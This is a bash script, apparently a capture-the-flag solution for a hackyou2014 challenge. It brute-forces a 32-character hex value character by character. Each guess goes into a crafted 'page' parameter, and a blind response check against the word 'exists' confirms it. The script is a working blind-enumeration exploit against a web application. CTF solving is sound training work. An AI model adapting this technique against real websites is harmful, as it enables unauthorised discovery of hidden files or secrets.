#!/bin/bash
pay="0"
for p in {1..32};do
echo $pay
for i in {0..9};do
    echo $i
    tmp=$pay$i
    aa=`curl --silent 'http://hackyou2014tasks.ctf.su:30080/index.php?page='$tmp'<<' | grep exists`
    if [ "$aa" == "" ]; then
        pay=$pay$i
        break
    fi
done
for i in {a..f};do
    echo $i
    tmp=$pay$i
    aa=`curl --silent 'http://hackyou2014tasks.ctf.su:30080/index.php?page='$tmp'<<' | grep exists`
    if [ "$aa" == "" ]; then
        pay=$pay$i
        break
    fi
done
done
echo $pay